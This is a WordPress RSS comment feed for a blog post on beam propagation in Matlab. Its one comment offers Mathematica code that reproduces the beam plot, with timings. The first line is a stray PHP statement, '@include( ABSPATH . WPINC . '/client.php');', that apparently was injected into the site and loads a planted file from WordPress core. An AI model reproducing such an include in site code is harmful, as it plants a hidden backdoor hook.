@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: Beam propagation in 15 lines of Matlab</title>
	<atom:link href="http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 17 Sep 2012 08:06:41 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
	<item>
		<title>By: Daniel Lichtblau</title>
		<link>http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/comment-page-1/#comment-8</link>
		<dc:creator>Daniel Lichtblau</dc:creator>
		<pubDate>Tue, 07 Jul 2009 22:30:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=9#comment-8</guid>
		<description>Not sure this is identical but it produces a similar image.

Timing[n = 100;
 zlim = 2*Pi*{-1, 2};
 zpts = 5*n;
 z = N[Range[zlim[[1]], zlim[[2]], (zlim[[2]] - zlim[[1]])/zpts]];
 xlim = 10.;
 xpts = 3*n;
 x = Range[-xlim, xlim, 2*xlim/xpts];
 klim = 1.;
 kpts = 1*n;
 kx = Range[-klim, klim, 2*klim/kpts];
 kxmask = Exp[-(Pi/2*kx/klim)^2];
 kz0 = Sqrt[1 - kx^2];
 fwdPropFieldK = 
  DiagonalMatrix[kxmask].Exp[I*Transpose[Outer[Times, z, kz0]]];
 xxkxx = Exp[I*Transpose[Outer[Times, x, kx]]];
 beamMtx = Re[Transpose[xxkxx].fwdPropFieldK];]

This runs in around 0.17 seconds on my machine. Rendering the plot (code below) took around 1.1 seconds.

Timing[ListDensityPlot[beamMtx, ColorFunction -&gt; &quot;Rainbow&quot;,MaxPlotPoints -&gt; 200]]

Daniel Lichtblau
Wolfram Research</description>
		<content:encoded><![CDATA[<p>Not sure this is identical but it produces a similar image.</p>
<p>Timing[n = 100;<br />
 zlim = 2*Pi*{-1, 2};<br />
 zpts = 5*n;<br />
 z = N[Range[zlim[[1]], zlim[[2]], (zlim[[2]] - zlim[[1]])/zpts]];<br />
 xlim = 10.;<br />
 xpts = 3*n;<br />
 x = Range[-xlim, xlim, 2*xlim/xpts];<br />
 klim = 1.;<br />
 kpts = 1*n;<br />
 kx = Range[-klim, klim, 2*klim/kpts];<br />
 kxmask = Exp[-(Pi/2*kx/klim)^2];<br />
 kz0 = Sqrt[1 - kx^2];<br />
 fwdPropFieldK =<br />
  DiagonalMatrix[kxmask].Exp[I*Transpose[Outer[Times, z, kz0]]];<br />
 xxkxx = Exp[I*Transpose[Outer[Times, x, kx]]];<br />
 beamMtx = Re[Transpose[xxkxx].fwdPropFieldK];]</p>
<p>This runs in around 0.17 seconds on my machine. Rendering the plot (code below) took around 1.1 seconds.</p>
<p>Timing[ListDensityPlot[beamMtx, ColorFunction -&gt; "Rainbow",MaxPlotPoints -&gt; 200]]</p>
<p>Daniel Lichtblau<br />
Wolfram Research</p>
]]></content:encoded>
	</item>
</channel>
</rss>
